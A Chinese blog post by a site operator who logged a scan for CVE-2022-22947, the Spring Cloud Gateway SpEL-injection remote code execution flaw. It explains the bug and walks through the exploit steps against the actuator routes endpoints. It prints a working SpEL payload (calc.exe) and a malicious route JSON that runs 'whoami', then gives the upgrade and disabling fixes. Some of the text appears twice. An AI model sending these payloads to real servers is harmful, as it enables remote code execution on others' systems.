- 09
- 14
- 3
- 文章类型
- 完全原创 —— 自由转载
DH Hub 工作台在 2023-09-15 21:50
被请求
不难推测,这是一个关于 Spring Cloud Gateway RCE 远程代码执行漏洞 (CVE-2022-22947) 的请求
相同原因的漏洞还有 Spring Data Commons RCE (CVE-2018-1273 ) 等
这一漏洞的本质是 SpEL 注入,利用
框架代码不幸地使用了默认的
读者可能不熟悉 SpEL,这段 SpEL 在被正确解析后可以执行目录下的 calc.exe
让我们来看看,DH Hub 本次被毛子扫了什么漏洞?
这是 actuator 提供的 api,
流程如下:
1. 通过 GET
2. 发送一条构造过的,包含恶意SpEL的路由 POST
3. 刷新路由,触发恶意路由 POST
4. 查看结果 GET
一个恶意路由样例,由 whatever 提供
附 Apache 日志
-> 看起来只是被毛子扫了一下,有没有漏洞,感谢他们。
修复方法:
1. 升级至 3.0.7+ 或 3.1.1+
2. (如没有业务需求) 禁用 gateway actuator endpoint :将
被请求
/actuator/gateway/routes,此前一段时间,也被反复扫描多次不难推测,这是一个关于 Spring Cloud Gateway RCE 远程代码执行漏洞 (CVE-2022-22947) 的请求
相同原因的漏洞还有 Spring Data Commons RCE (CVE-2018-1273 ) 等
这一漏洞的本质是 SpEL 注入,利用
Filter 过滤器实现中不安全的函数(尽管有处理用户输入)来执行恶意代码,框架代码不幸地使用了默认的
StandardEvaluationContext,并且暴露给了用户输入,导致用户可以调用任何类的方法。读者可能不熟悉 SpEL,这段 SpEL 在被正确解析后可以执行目录下的 calc.exe
T(java.lang.Runtime).getRuntime().exec('calc.exe')让我们来看看,DH Hub 本次被毛子扫了什么漏洞?
这是 actuator 提供的 api,
| GET | /actuator/gateway/routes | 返回路由列表 |
| GET | /actuator/gateway/routes/placeholder | 返回指定路由的信息 |
| POST | /actuator/gateway/routes/placeholder | 创建指定路由 |
流程如下:
1. 通过 GET
/actuator/gateway/routes/,查看服务是否可用、并获取路由信息2. 发送一条构造过的,包含恶意SpEL的路由 POST
/actuator/gateway/routes/test3. 刷新路由,触发恶意路由 POST
/actuator/gateway/refresh4. 查看结果 GET
/actuator/gateway/routes/test一个恶意路由样例,由 whatever 提供
JSON:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
附 Apache 日志
[15/Sep/2023:21:50:49 +0800] 83.97.73.87 TLSv1.3 TLS_CHACHA20_POLY1305_SHA256 "GET /actuator/gateway/routes HTTP/1.1" --> 看起来只是被毛子扫了一下,有没有漏洞,感谢他们。
修复方法:
1. 升级至 3.0.7+ 或 3.1.1+
2. (如没有业务需求) 禁用 gateway actuator endpoint :将
management.endpoint.gateway.enabled 设置为 false